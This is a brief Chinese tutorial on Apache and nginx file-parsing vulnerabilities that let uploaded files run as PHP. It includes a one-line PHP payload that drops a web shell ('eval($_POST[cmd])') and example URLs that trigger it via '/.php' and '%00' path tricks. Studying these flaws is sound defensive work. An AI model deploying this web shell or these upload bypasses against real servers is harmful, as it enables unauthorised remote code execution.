目录
2.2 nginx 0.5,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37
4.1 上传jsp%20的文件或者jsp.,windows会删除.和空格
4.2 上传jsp::DATA文件,windows会不检测DATA后面的后缀名,且保留DATA之前的文件名
4.3 上传不规则字符如 2.jsp:1.php ,windows会删除不规则:符号后面的内容
前言
文件上传漏洞一般白名单过滤之后都只能配合文件包含漏洞和文件解析漏洞进行上传,本文将介绍文件解析漏洞。
一、apache解析漏洞
Apache解析文件会遵循从右向左的规则,即从右边开始以此识别.xx的文件名格式,若无法识别则继续向左识别下一个文件名格式
即上传1.php.abc,从右往左会因为无法识别.abc从而当做php文件处理。
二、nginx解析漏洞
2.1 nginx<8.03
由于nginx默认是用cgi解析php的(即开启fast-cgi模式),因此和IIS一样制作图片马
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
直接访问http://xx.xx.xx.xx/1.jpg/.php
2.2 nginx 0.5,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37
nginx遇到%00后和fastcgi解析不一致,所以可以上传一个1.jpg图片马,然后访问http://xx.xx.xx.xx/1.jpg%00.php,这样就将jpg文件当做php文件执行了